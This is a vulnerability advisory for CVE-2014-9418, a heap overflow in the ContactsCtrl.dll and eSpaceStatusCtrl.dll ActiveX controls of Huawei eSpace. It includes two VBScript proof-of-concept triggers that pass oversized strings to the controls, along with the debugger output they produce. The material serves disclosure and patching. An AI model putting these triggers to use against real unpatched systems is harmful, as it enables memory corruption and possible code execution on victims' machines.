Huawei eSpace Meeting ContactsCtrl.dll and eSpaceStatusCtrl.dll ActiveX Heap Overflow


Vendor: Huawei Technologies Co., Ltd.
Product web page: https://www.huawei.com
Affected version: eSpace 1.1.11.103 (aka eSpace ECS, eSpace Desktop, eSpace Meeting, eSpace UC)
                  eSpace UC V200R002C02

Summary: Create more convenient Enhanced Communications (EC) services for your
enterprise with this suite of products. Huawei’s EC Suite (ECS) solution combines
voice, data, video, and service streams, and provides users with easy and secure
access to their service platform from any device, in any place, at any time. The
eSpace Meeting allows you to join meetings that support voice, data, and video
functions using the PC client, the tablet client, or an IP phone, or in a meeting
room with an MT deployed.

Desc: eSpace Meeting suffers from a heap-based memory overflow vulnerability when parsing
large amount of bytes to the 'strNum' string parameter in GetNameyNum() in 'ContactsCtrl.dll'
and 'strName' string parameter in SetUserInfo() in eSpaceStatusCtrl.dll library, resulting
in heap memory corruption. An attacker can gain access to the system of the affected node
and execute arbitrary code.

Vuln ActiveX controls:
C:\Program Files\eSpace-ecs\ContactsCtrl.dll
C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll

Tested on: Microsoft Windows 7 Professional


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

23.09.2014

Patched version: V200R001C03
Vuln ID: HWPSIRT-2014-1157
CVE ID: CVE-2014-9418
Advisory: https://www.huawei.com/en/psirt/security-advisories/hw-406589

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ContactsCtrl.dll PoC and debug output:

<object classid='clsid:B53B93C2-6B0D-4D30-B46D-12F64E809B6D' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\eSpace-ecs\ContactsCtrl.dll"
prototype  = "Function GetNameByNum ( ByVal strNum As String ) As String"
memberName = "GetNameByNum"
progid     = "ContactsCtrlLib.ContactWnd"
argCount   = 1
arg1=String(616400, "A")
target.GetNameByNum arg1 

0:000> d esi
04170024  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170034  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170044  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170054  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170064  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170074  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170084  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
04170094  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.


eSpaceStatusCtrl.dll PoC and debug output:

<object classid='clsid:93A44D3B-7CED-454F-BBB4-EE0AA340BB78' id='target' />
<script language='vbscript'>
targetFile = "C:\Program Files\eSpace-ecs\eSpaceStatusCtrl.dll"
prototype  = "Sub SetUserInfo ( ByVal strAccount As String ,  ByVal staffNo As String ,  ByVal strName As String ,  ByVal status As Long )"
memberName = "SetUserInfo"
progid     = "eSpaceStatusCtrlLib.StatusCtrl"
argCount   = 4
arg1="defaultV"
arg2="defaultV"
arg3=String(14356, "A")
arg4=1
target.SetUserInfo arg1 ,arg2 ,arg3 ,arg4 

0:005> r
eax=feeefeee ebx=02813550 ecx=feeefeee edx=feeefeee esi=0281369c edi=02813698
eip=776def10 esp=029dfd60 ebp=029dfd74 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010293
ntdll!RtlEnterCriticalSection+0x4a:
776def10 83790800        cmp     dword ptr [ecx+8],0  ds:0023:feeefef6=????????